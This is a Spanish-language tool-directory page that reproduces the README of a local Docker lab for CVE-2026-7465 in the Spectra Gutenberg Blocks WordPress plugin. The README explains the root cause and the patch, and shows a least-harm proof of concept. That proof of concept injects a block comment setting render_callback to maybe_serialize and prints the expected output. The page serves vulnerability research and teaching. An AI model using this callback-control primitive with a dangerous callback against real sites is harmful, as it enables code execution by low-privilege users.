Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-7465-Lab | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-7465 - Laboratorio local de Spectra Gutenberg Blocks

Laboratorio Docker local para analizar y reproducir CVE-2026-7465 en el plugin de WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

Este laboratorio compara:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

La prueba es intencionalmente de mínimo daño. No ejecuta comandos de shell, no sube archivos, no crea usuarios ni modifica el contenedor directamente. El PoC crea una entrada de WordPress borrador temporal, comprueba el comportamiento del bloque renderizado y luego elimina el borrador.


Resumen

CVE-2026-7465 es una vulnerabilidad en Spectra Gutenberg Blocks donde los atributos de bloque de Gutenberg controlados por el usuario podían pasarse a los argumentos de registro de bloques de WordPress.

En la versión vulnerable, Spectra registra dinámicamente los bloques uagb/* analizados usando los atributos de bloque del contenido de la entrada:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

Debido a que un Colaborador puede crear contenido de entrada que contenga comentarios de bloque de Gutenberg, un usuario autenticado a nivel de Colaborador puede influir en argumentos de registro como render_callback.

La versión 2.19.26 corrige el problema registrando el bloque con un array de argumentos vacío:

root@kitploit:~
$registry->register( $block['blockName'], array() );

Esto evita que los atributos de bloque controlados por la entrada se conviertan en opciones de registro de bloques de PHP.


Componente afectado

Producto:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

Versiones usadas en este laboratorio:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

El changelog de WordPress.org para la versión 2.19.26 indica que la actualización solucionó un bug de seguridad y agradece a Wordfence por la divulgación responsable.


Causa raíz

La lógica vulnerable se encuentra en:

root@kitploit:~
classes/class-uagb-init-blocks.php

El código vulnerable comprueba si un nombre de bloque analizado contiene el espacio de nombres uagb/. Si el bloque aún no está registrado, lo registra dinámicamente.

Comportamiento vulnerable

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

El problema es el segundo argumento:

root@kitploit:~
$block['attrs']

En Gutenberg, los atributos de bloque pueden almacenarse dentro del contenido de la entrada, por ejemplo:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Un Colaborador puede crear contenido de entrada en borrador. Por lo tanto, el atacante puede influir en $block['attrs'].

Cuando esos atributos se pasan a WP_Block_Type_Registry::register(), se convierten en argumentos de registro de bloques. Un argumento de registro sensible es:

root@kitploit:~
render_callback

Esto crea una primitiva de control de callback.

Comportamiento parcheado

En 2.19.26, Spectra sigue registrando el nombre de bloque uagb/* analizado, pero ya no pasa los atributos controlados por la entrada como argumentos de registro:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

El cambio importante es:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

Esto elimina los atributos controlados por el atacante de la ruta de registro de bloques.


Por qué el PoC usa maybe_serialize

El PoC no utiliza callbacks de PHP peligrosos como system, exec, shell_exec o passthru.

En su lugar, utiliza:

root@kitploit:~
maybe_serialize

El contenido del bloque de prueba es:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

Comportamiento esperado:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

Esto demuestra el comportamiento vulnerable sin ejecutar comandos ni escribir archivos.


Arquitectura del laboratorio

Servicios:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

Puertos locales:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

Usuario de WordPress preconfigurado:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

El PoC es solo HTTP. Interactúa con WordPress mediante inicio de sesión y peticiones a la API REST.


Estructura del repositorio

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Ejecutar el laboratorio

Empieza desde un entorno limpio:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Comprueba los contenedores:

root@kitploit:~
docker compose ps

Comprueba los logs de seed:

root@kitploit:~
docker compose logs seed_vuln seed_patched

Resultado esperado del seed:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

Ejecutar el PoC

Prueba el objetivo vulnerable:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

Veredicto esperado para la versión vulnerable:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

Prueba el objetivo parcheado:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

Veredicto esperado para la versión parcheada:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

Salida esperada

Versión vulnerable - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

Versión parcheada - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

Interpretación de la evidencia

La comparación importante es:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

Tanto el objetivo vulnerable como el parcheado deberían mostrar:

root@kitploit:~
raw_contains_marker: True

Esto confirma que el mismo contenido de bloque se guardó correctamente en una entrada de borrador temporal.

La diferencia está en la salida renderizada:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

Esto demuestra que la versión vulnerable aceptó el render_callback controlado por la entrada, mientras que la versión parcheada no lo hizo.

Limpieza

Detén y elimina contenedores, redes y volúmenes:

root@kitploit:~
docker compose down -v --remove-orphans

Elimina la caché de Python si existe:

root@kitploit:~
rm -rf poc/__pycache__

Notas de seguridad

Este repositorio es únicamente para investigación de seguridad local y demostración de portafolio.

El PoC:

  • solo apunta a direcciones localhost o loopback
  • utiliza acceso autenticado a WordPress en el laboratorio local
  • crea una entrada de borrador temporal
  • elimina la entrada de borrador después de comprobar el comportamiento renderizado
  • no ejecuta comandos de shell
  • no sube archivos
  • no crea usuarios
  • no modifica contenedores Docker directamente
  • no proporciona un flujo de trabajo de explotación remota

No ejecutes esto contra sistemas que no poseas o para los que no tengas permiso explícito de pruebas.


Referencias

  • Página del plugin en WordPress.org: Spectra Gutenberg Blocks - Website Builder for the Block Editor
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • Changelog de WordPress.org: actualización de seguridad 2.19.26 - Monday, 4th May 2026 acreditada a Wordfence
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress Plugin SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

Descargar herramienta